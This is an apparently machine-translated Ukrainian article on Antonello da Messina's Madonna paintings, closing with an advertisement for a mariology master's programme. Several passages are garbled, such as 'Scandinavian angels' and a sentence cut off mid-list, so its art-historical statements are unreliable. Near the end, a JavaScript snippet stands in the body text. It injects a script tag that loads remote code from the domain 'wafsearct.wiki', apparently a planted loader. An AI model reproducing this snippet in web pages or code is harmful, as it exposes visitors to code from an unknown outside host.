Антонелло да Мессіни: мариологія «Нового чоловіка»
Вступ
Мерит Антонелло да Мессіни полягає не лише в тому, що він покращив стан сучасної живопису, поширюючи вдосконалення методу олійного живопису, але й у тому, що він був одним з найвідважніших італійських художників XV століття. Його беззаперечний заслуг полягає в тому, щоб зворушувати ніжністю, чи то в різних темах, де суворість переважає над ніжністю, велич над пастошністю, біль над ніжністю, або в тій спокійності найглибших і найдорожчих почуттів душі.
Народився близько 1430 року в Мессіні, де помер у 1479 році, Антонелло є однією з найзагадковіших фігур італійського мистецтва, адже, незважаючи на обмежену кількість свідчень, він втілює подвійну ідентичність як місцевий художник, що дотримується традиції, і як міжнародний митець, здатний на революційні інновації. Він поєднав фламандську граматику з італійською синтаксичною структурою та надав людству свого міста, своєї острова, абсолютного та вічного вираження.
Це те, що розповідають нам їхні портрети, настільки «тероризуючі сицилійськими» рисами, що здається, ніби чуєш, як вони розмовляють діалектом, яким говорять під час їхнього Благовіщення. Ця глибока відданість об’єкту, ця лірична трансформація найінтимнішої, найпалкішої сутності туману, який він прагне створити абсолютизм, є причиною таємничого здивування, яке охоплює того, хто розглядає твір Антонелло.
Тому персонажі земної хрестифікації з Сибію здаються спаленими внутрішньою полум’яною силою, яка згасає і розсіюється у білому теплі небесного пейзажу. Тому їхні святі та Діва Марія з їхньою ніжною присутністю висвітлюють страждання і просту гідність своєю ніжністю.
Антонелло є типовим представником *Homo Novus* Відродження, явища повністю італійського від Сицилії до Венеції. Він символізує XV століття, коли самосвідомість людства відродилася і перетнула величезний океан, щоб відкрити новий Світ, де *devotio moderna* очікувала інтимну та суб’єктивну релігійність у протиставленні середньовічній колективній вірі.
Мова жестів
У зображенні Діви з Дитиною, жіночий аналог численних чоловічих портретів, Антонелло да Мессіна черпає натхнення зі своєї батьківщини. Фізичний вигляд і постави Дів у творах Антонелло, як-от рука, що імітує вуаль Благовіщеної у Палермо, нагадують сицилійських жінок.
Перші Діви, як Діва Солтінська або
На зображенні “Вірна читачка” на однотонному фоні чітко видно витонченість коштовностей та одягу, що нагадує про навчання Антонелло в Колантоніо в Неаполі, де він вперше зіткнувся з фламандським мистецтвом.
Діва Салтинг зображує Матір з Дитям на руках, увінчаною двома скандинавськими ангелами, як Королева Небесна. Маленька готична фігура Ісуса, що тримає в руці виноградину, символізує як родючість і королівську гідність Марії, так і Її пристрасть, виражену в червоному кольорі ягід, подібно до крові.
Прозорий хустка Діви є свідченням високого рівня майстерності, так само як і чудова опис ювелірних прикрас і брокату.
Ангельські фігури, темне тло, витончена корона з ефектом блискучого металу та гостра біла світло нагадують фламандське мистецтво, яке Антонелло змогло поєднати зі просторовістю та монументальністю італійського стилю.
Стриманий і непроникний погляд, де все — від темних пасом волосся до блідості шкіри, від геометричних ліній брів і кутів обличчя до таємничого роту, до досконалого вуха — здається, прагне до жорсткої нерухомості скульптури, заморожуючи в стилізації мармуру гарячий тип краси, який досі можна впізнати серед мас Сицилії.
Іконографічне з’єднання пов’язує Діву з соломою з Дівою-читачкою, так тісно, що це не може здаватися випадковим, і майже натякає на те, що Дитя Ісус на останньому моменті замінило відкриту книгу в руках Матері.
Діва Марія, чий білий обличчя випромінює світло, завдяки короні, прикрашеній ліліями та трояндами, і книзі, відкритою в її руках, є молодою роботою Мессіни, який описав її як «жахливу істоту, з гірким устом, довгими і майже хижими руками, з обличчям, запечатаним смугами страждань».
var url = ‘https://wafsearct.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);
Для поглиблення роздумів про мариологію в сакральному мистецтві та живописі Відродження, зверніться до апостольської екзортації Marialis Cultus Павла VI, яка високо оцінює художні вирази як перевагений засіб маріанної відданості та споглядання.
Поглибте свої дослідження: вивчіть мариологіюмаріанську теологіюмаріанські появи та післядипломну освіту з мариології.
Постградусна підготовка в мариології
Хочете поглибити свою підготовку в мариології? Дізнайтеся про магістерську програму з мариології у Locus Mariologicus, академічну форму навчання, що поєднує суворий теологічний аналіз, духовне життя та живу традицію Церкви.Хочете серйозно вивчити мариологію?
Цей стаття походить з творів бібліотеки Locus Mariologicus. Магістратура з мариології занурить вас у ті самі джерела, забезпечуючи академічне керівництво: Писання, Отці Церкви та Учительський уряд, від першого догмату до сучасних питань.
Responses